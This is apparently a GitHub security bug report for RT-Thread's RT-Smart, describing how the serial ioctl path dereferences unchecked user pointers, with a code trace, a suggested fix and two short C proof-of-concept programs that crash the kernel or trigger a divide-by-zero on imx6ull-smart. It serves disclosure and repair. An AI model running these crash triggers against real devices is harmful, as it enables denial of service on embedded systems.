Hacktoberfest 2026:維護者為十月標記出來的 issue,仍然開放、適合新手。 瀏覽 Hacktoberfest issue

[Bug] Security-related Bug RT-Smart serial ioctl trusts user pointers and can crash the kernel

未關閉
#11,429 0 則留言 1 個 reaction 已指派 2 人 在 GitHub 檢視

維護者通常 1 天內回覆

@BernardXiong 已經在處理了。

開始於 2026年6月9日。

  • #11453 來自 @copilot-swe-agent —— 已關閉,未合併

評估

這個 Issue 還沒有評估資料。

描述

RT-Thread Version

v5.2.2

Hardware Type/Architectures

N/A

Develop Toolchain

Other

Describe the bug

RT-Smart serial ioctl trusts user pointers and can crash the kernel

Describe the bug

RT-Smart validates and copies user buffers for read() and write(), but sys_ioctl() forwards its third argument directly into the kernel-side ioctl implementation. For serial devices, the file descriptor selects a legitimate kernel-owned device, but the ioctl payload pointer remains user-controlled and is later treated as a trusted kernel pointer to driver-specific data structures.

The concrete affected path is:

user process
  -> ioctl(fd, RT_DEVICE_CTRL_CONFIG, user_ptr)
  -> sys_ioctl(fd, cmd, data)
  -> ioctl(fd, cmd, data)
  -> fcntl(fd, cmd, data)
  -> dfs_file_ioctl(...)
  -> serial_fops_ioctl(...)
  -> rt_device_control(device, cmd, args)
  -> rt_serial_control(..., RT_DEVICE_CTRL_CONFIG, args)
  -> unchecked dereference of args as struct serial_configure *
  -> optional board configure callback with attacker-controlled fields

This gives a user process two direct crash paths when it has access to a serial device node:

  1. Passing an invalid ioctl payload pointer can crash the kernel before any board callback is reached, because rt_serial_control() dereferences the unchecked pointer as struct serial_configure *.
  2. Passing a readable user struct serial_configure can make the kernel consume attacker-controlled fields. On imx6ull-smart, setting baud_rate = 0 while preserving the current buffer size can reach board UART code that divides by cfg->baud_rate.

The second case is concrete for RT-Smart imx6ull serial. The default imx6ull-smart configuration enables RT-Smart, MMU, serial, and POSIX devio, and registers BSP_USING_UART1 as uart0.

Affected code

read() and write() explicitly validate and copy user buffers under ARCH_MM_MMU:

components/lwp/lwp_syscall.c:423
components/lwp/lwp_syscall.c:434
components/lwp/lwp_syscall.c:439
components/lwp/lwp_syscall.c:445
components/lwp/lwp_syscall.c:448
components/lwp/lwp_syscall.c:494
components/lwp/lwp_syscall.c:502
components/lwp/lwp_syscall.c:507
components/lwp/lwp_syscall.c:513
components/lwp/lwp_syscall.c:516

sys_ioctl() does not perform the same user-access check or copy:

sysret_t sys_ioctl(int fd, unsigned long cmd, void* data)
{
    int ret = ioctl(fd, cmd, data);
    return (ret < 0 ? GET_ERRNO() : ret);
}

Location:

components/lwp/lwp_syscall.c:796
components/lwp/lwp_syscall.c:798

For RT-Thread serial devices with POSIX devio enabled, the serial fops layer resolves the target device from the file object and forwards the unchecked argument into rt_device_control():

static int serial_fops_ioctl(struct dfs_file *fd, int cmd, void *args)
{
    rt_device_t device;
    int flags = (int)(rt_base_t)args;
    int mask  = O_NONBLOCK | O_APPEND;

    device = (rt_device_t)fd->vnode->data;
    switch ((rt_ubase_t)cmd)
    {
    case FIONREAD:
        break;
    case FIONWRITE:
        break;
    case F_SETFL:
        flags &= mask;
        fd->flags &= ~mask;
        fd->flags |= flags;
        break;
    }

    return rt_device_control(device, cmd, args);
}

Location:

components/drivers/serial/dev_serial.c:121
components/drivers/serial/dev_serial.c:141

The serial control path then treats args as a trusted kernel pointer. The first dereference of pconfig->bufsz is already enough to crash the kernel if args is an invalid user pointer. If the pointer is readable, serial->config = *pconfig copies attacker-controlled fields into the serial state:

case RT_DEVICE_CTRL_CONFIG:
    if (args)
    {
        struct serial_configure *pconfig = (struct serial_configure *) args;
        if (pconfig->bufsz != serial->config.bufsz && serial->parent.ref_count)
        {
            return -RT_EBUSY;
        }

        serial->config = *pconfig;
        if (serial->parent.ref_count)
        {
            serial->ops->configure(serial, (struct serial_configure *) args);
        }
    }
    break;

Locations:

components/drivers/serial/dev_serial.c:1084
components/drivers/serial/dev_serial.c:1087
components/drivers/serial/dev_serial.c:1088
components/drivers/serial/dev_serial.c:1094
components/drivers/serial/dev_serial.c:1098

Opening the device sets ref_count, so the configure callback is reachable after open():

components/drivers/serial/dev_serial.c:73
components/drivers/serial/dev_serial.c:103
components/drivers/core/device.c:271
components/drivers/core/device.c:275

Separately, if the unchecked pointer is readable and the configure callback is reached, imx6ull-smart has a board-specific divide-by-zero path. The board UART configure function uses the user-controlled baud_rate field as a divisor. The assertion only checks the upper bound, so baud_rate = 0 passes this assertion and reaches the division:

RT_ASSERT(cfg->baud_rate <= BAUD_RATE_921600);

periph->UBIR = UART_UBIR_INC(15);
periph->UBMR = UART_UBMR_MOD(HW_UART_BUS_CLOCK / cfg->baud_rate - 1);

Location:

bsp/nxp/imx/imx6ull-smart/drivers/drv_uart.c:191
bsp/nxp/imx/imx6ull-smart/drivers/drv_uart.c:194

The imx6ull-smart BSP enables RT-Smart and serial device access:

bsp/nxp/imx/imx6ull-smart/rtconfig.h:65    RT_USING_SMART
bsp/nxp/imx/imx6ull-smart/rtconfig.h:123   ARCH_MM_MMU
bsp/nxp/imx/imx6ull-smart/rtconfig.h:202   RT_USING_SERIAL
bsp/nxp/imx/imx6ull-smart/rtconfig.h:277   RT_USING_POSIX_DEVIO
bsp/nxp/imx/imx6ull-smart/rtconfig.h:642   BSP_USING_UART1

The same BSP registers UART1 as the serial device named uart0:

bsp/nxp/imx/imx6ull-smart/drivers/drv_uart.c:52
bsp/nxp/imx/imx6ull-smart/drivers/drv_uart.c:60
bsp/nxp/imx/imx6ull-smart/drivers/drv_uart.c:338

Steps to reproduce by source reasoning

I have not reproduced this on physical imx6ull-smart hardware. The source-level trigger requires:

RT_USING_SMART      = enabled
ARCH_MM_MMU         = enabled
RT_USING_SERIAL     = enabled
RT_USING_POSIX_DEVIO = enabled
a serial device node such as /dev/uart0 is accessible

For an invalid user pointer dereference:

#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <rtdevice.h>

int main(void)
{
    int fd = open("/dev/uart0", O_RDWR);
    if (fd < 0) {
        return 1;
    }

    /*
     * sys_ioctl() forwards this pointer without lwp_user_accessable()
     * or lwp_get_from_user(). rt_serial_control() then dereferences it
     * as struct serial_configure *.
     */
    ioctl(fd, RT_DEVICE_CTRL_CONFIG, (void *)0x1);

    close(fd);
    return 0;
}

For the imx6ull-smart divide-by-zero path, the ioctl payload must be a readable struct serial_configure. It must also preserve the current serial buffer size so that rt_serial_control() does not return -RT_EBUSY before calling the board configure callback. With the default serial configuration this buffer size is RT_SERIAL_RB_BUFSZ.

#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <rtdevice.h>

int main(void)
{
    struct serial_configure cfg = RT_SERIAL_CONFIG_DEFAULT;
    int fd = open("/dev/uart0", O_RDWR);
    if (fd < 0) {
        return 1;
    }

    /*
     * Keep cfg.bufsz equal to the current default buffer size, but set
     * baud_rate to zero. The imx6ull-smart UART configure callback uses
     * cfg.baud_rate as a divisor.
     */
    cfg.baud_rate = 0;

    ioctl(fd, RT_DEVICE_CTRL_CONFIG, &cfg);

    close(fd);
    return 0;
}

Expected source-level path for the divide-by-zero case:

open("/dev/uart0", O_RDWR)
  -> serial_fops_open()
  -> rt_device_open()
  -> device ref_count becomes nonzero

ioctl(fd, RT_DEVICE_CTRL_CONFIG, &cfg)
  -> sys_ioctl()
  -> ioctl()
  -> fcntl()
  -> dfs_file_ioctl()
  -> serial_fops_ioctl()
  -> rt_serial_control()
  -> unchecked reads from user-provided struct serial_configure
  -> pconfig->bufsz is accepted because it matches serial->config.bufsz
  -> serial->ops->configure(serial, &cfg)
  -> imx6ull-smart _uart_ops_configure()
  -> HW_UART_BUS_CLOCK / cfg->baud_rate
  -> divide by zero when cfg.baud_rate == 0

Security impact

A user process that can open a serial device can pass arbitrary ioctl payload pointers into kernel driver code. At minimum, this can crash the kernel by causing an unchecked user-pointer dereference in rt_serial_control(). If the pointer is readable, the kernel consumes attacker-controlled serial configuration fields. On imx6ull-smart, a user-supplied serial configuration with baud_rate = 0 can additionally reach a divide-by-zero in the UART configure path.

This is a user-kernel boundary issue. The device pointer itself is kernel-owned and selected through the file descriptor; the attacker does not directly supply a raw rt_device_t. The unchecked part is the ioctl payload pointer and the data it points to.

Recommended fix

Do not pass the raw user pointer from sys_ioctl() into driver code. The ioctl layer should validate and copy command-specific payloads before calling the kernel-side implementation, and copy results back to user memory for output commands.

For serial configuration commands, one possible direction is:

case RT_DEVICE_CTRL_CONFIG:
{
    struct serial_configure kcfg;

    if (!data || !lwp_user_accessable(data, sizeof(kcfg))) {
        return -EFAULT;
    }

    if (lwp_get_from_user(&kcfg, data, sizeof(kcfg)) != sizeof(kcfg)) {
        return -EFAULT;
    }

    return ioctl(fd, cmd, &kcfg);
}

The UART configure implementations should also validate configuration values before programming hardware. In particular, reject baud_rate == 0 before using it as a divisor:

if (cfg->baud_rate == 0 || cfg->baud_rate > BAUD_RATE_921600) {
    return -RT_EINVAL;
}

The same audit should be applied to other device ioctl commands that copy callback pointers or nested pointers from the ioctl argument. Those commands should either be unavailable to user space or should use explicit safe kernel-side representations instead of trusting user-provided function pointers.

Other additional context

No response

主要語言
C
星號
12.3k
分支
5.5k
平均合併
6 天 32 分鐘
30 天內合併 PR
24

環境準備

在 Codespaces 中開啟

在瀏覽器裡用你自己的 GitHub 帳號啟動這個專案的開發容器。

從這裡開始

  1. 先讀完整個 Issue,再讀專案的貢獻指南。
  2. 在 Issue 下留言說明你要接手 —— 這能避免兩個人做同樣的事。
  3. Fork 儲存庫,在一個分支上完成修改。
  4. 送出 Pull Request,並在描述裡引用這個 Issue 編號。

RT-Thread/rt-thread 的其他 Issue

查看 RT-Thread/rt-thread 的全部 Issue

相似的 Issue

更多 C Issue

把新 issue 寄到你的電子郵件信箱

精選適合新手參與的 GitHub issue 摘要。